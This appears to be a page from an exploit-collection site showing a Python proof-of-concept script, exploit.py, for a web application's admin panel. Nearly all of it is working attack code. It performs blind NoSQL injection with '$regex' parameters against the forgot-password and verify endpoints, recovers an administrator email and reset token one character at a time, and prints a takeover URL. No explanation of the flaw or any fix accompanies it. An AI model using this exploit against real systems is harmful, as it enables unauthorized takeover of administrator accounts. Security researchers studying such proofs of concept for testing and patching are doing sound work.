4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import requests as req
import string

host = "http://localhost:4000"
charset = string.ascii_letters + string.digits + '@.'

'''
    If email prefix was found, server return 200 {"success":true}
    Otherwise, return 400 "There is no user with that email."
'''
def email_valid(prefix):
    res = req.post(host + '/admin/forgotpassword',
             data = { 'email[$regex]': '^' + prefix })
    return res.status_code == 200

'''
    If token was found, server redirect to '/admin/sp/[object%20Object]'
    Otherwise, redirect to '/admin'
'''
def token_valid(prefix):
    res = req.get(host + '/admin/verify',
            params = { 't[$regex]': '^' + prefix }, allow_redirects = False)
    return '/admin/sp/' in res.headers['Location']

def blind(validator):
    res = ''
    while True:
        found = False
        for c in charset:
            if validator(res + c):
                res += c
                found = True
                break
        print(res)
        if not found:
            break
    return res
    
def exploit():
    print('Start finding email ...')
    email = blind(email_valid)
    print('Start finding token ...')
    token = blind(token_valid)
    
    print()
    print('Email:', email)
    print('Token:', token)
    print(host + '/admin/verify?t=' + token)
    
exploit()